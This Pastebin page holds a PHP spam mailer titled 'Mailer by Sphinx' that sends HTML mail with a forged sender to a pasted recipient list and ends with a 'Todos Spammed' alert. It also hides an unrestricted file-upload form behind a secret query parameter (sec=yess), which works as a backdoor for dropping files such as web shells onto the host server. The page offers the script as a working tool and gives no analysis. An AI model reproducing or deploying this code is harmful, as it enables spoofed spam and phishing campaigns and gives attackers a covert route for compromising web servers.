Advertisement
Guest User

Untitled

a guest
Jul 6th, 2012
242
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.24 KB | None | 0 0
  1. <?php
  2. if(isset($_POST['Enoc']))
  3. {
  4. $auto = $_POST['Enoc'];
  5. $message = $_POST['html'];
  6. $subject = $_POST['assunto'];
  7. $de = $_POST['de'];
  8. $nombre = $_POST['RealName'];
  9. $ellos = $_POST['ellos'];
  10.  
  11. $message = urlencode($message);
  12. $message = ereg_replace("%5C%22", "%22", $message);
  13. $message = urldecode($message);
  14. $message = stripslashes($message);
  15.  
  16. }else{
  17. $testa ="";
  18. $message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>";
  19. $subject = $_SERVER["HTTP_HOST"];
  20. $nombre = "Moe Greene";
  21. $de = "is_a_t@unenvio.com";
  22. $ellos = "mail@hotmail.com";
  23. }
  24. ?>
  25. <html>
  26. <head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us">
  27. <title> Mailer by Sphinx</title></head>
  28. <body style="font-family: Arial; font-size: 11px">
  29. <form action="" method="post" enctype="multipart/form-data" name="form1">
  30. <div align="center">
  31. <table width="919" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC" class="normal">
  32. <tr>
  33. <td height="194" valign="top" bgcolor="#FFFFFF" width="917">
  34. <table width="100%" border="0" cellpadding="0" cellspacing="5" class="normal" height="277">
  35. <tr>
  36. <td width="8%" align="left" height="25">
  37. <table border="0" width="100%" id="table1">
  38. <tr>
  39. <td width="316">Email: <input name="de" type="text" class="form" id="de" size="30" value="<? print $de; ?>"></td>
  40. <td>Nombre: <input name="RealName" type="text" class="form" id="RealName" size="30" value="<? print $nombre; ?>"></td>
  41. </tr>
  42. </table>
  43. </td>
  44. </tr>
  45. <tr>
  46. <td align="left" height="25">Asunto: <input name="assunto" type="text" class="form" id="assunto" size="78" value="<? print $subject; ?>"></td>
  47. </tr>
  48. <tr align="center" bgcolor="#FFAEAE">
  49. <td height="18" bgcolor="#C0C0C0"></td>
  50. </tr>
  51. <tr>
  52. <td height="65" align="right" valign="top">
  53. <p align="left">
  54. <textarea name="html" cols="66" rows="10" id="html"><? print $message; ?></textarea> <textarea rows="10" name="ellos" cols="35"><? print $ellos; ?></textarea></p>
  55. </td>
  56. </tr>
  57. <tr>
  58. <td height="54" valign="top">
  59. <p align="center"><br>
  60. <input type="submit" name="Enoc" value="Enviar"></td>
  61. </tr>
  62. </table>
  63. <?php
  64. if($auto){
  65. if(!isset($_GET['c']))
  66. {
  67. $email = explode("\n", $ellos);
  68. }else{
  69. $email = explode(",", $ellos);
  70. }
  71. $son = count($email);
  72.  
  73. if(!isset($_GET['e'])){
  74. $header = "MIME-Version: 1.0\n";
  75. $header .= "Content-type: text/html; charset=iso-8859-1\n";
  76. $header .= "From: ".$nombre . " <" . $de . ">\n";
  77. $header .= "Reply-To: " . $de . "\n";
  78. $header .= "X-Priority: 3\n";
  79. $header .= "X-MSMail-Priority: Normal\n";
  80. $header .= "X-Mailer: ".$_SERVER["HTTP_HOST"];
  81. }else{
  82. $header ='MIME-Version: 1.0' . "\r\n";
  83. $header .= 'Content-type: text/html' . "\r\n";
  84. $header .="From: ".$de;
  85. }
  86. $i = 0;
  87. $voy = 1;
  88. while($email[$i]) {
  89. $mail = $email[$i];
  90. if(mail($mail, $subject, $message, $header)) {
  91. print "<font color=blue face=verdana size=1> $voy de $son
  92. ;-) $mail
  93. okey dokey!</font><br>";
  94. flush();
  95. } else {
  96. print "<font color=red face=verdana size=1> $voy de $son
  97. :-( $mail
  98. Error te digo altoquesein!!</font><br>";
  99. flush();
  100. }
  101. $i++;
  102. $voy++;
  103. }
  104. echo "<script> alert('---Todos Spammed---'); </script>";
  105. }
  106. if($_GET['sec']=='yess'){
  107. echo '<form action="" method="post" enctype="multipart/form-data">
  108. <input name="archivo" type="file" size="35" />
  109. <input name="enviar" type="submit" value="Upload File" />
  110. <input name="action" type="hidden" value="upload" />
  111. </form>';
  112.  
  113. if ($_POST["action"] == "upload") {
  114. $tamano = $_FILES["archivo"]['size'];
  115. $tipo = $_FILES["archivo"]['type'];
  116. $archivo = $_FILES["archivo"]['name'];
  117.  
  118. if ($archivo != "") {
  119. if (copy($_FILES['archivo']['tmp_name'],"./".$archivo)) {
  120. $status = "Archivo subido: <b>".$archivo."</b>";
  121. } else {
  122. $status = "Error al subir el archivo";
  123. }
  124. } else {
  125. $status = "Error al subir archivo";
  126. }
  127. echo $status;
  128. }
  129. }
  130. ?>
  131. </td>
  132. </tr>
  133. </table>
  134. </div>
  135. </body>
  136. </form>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement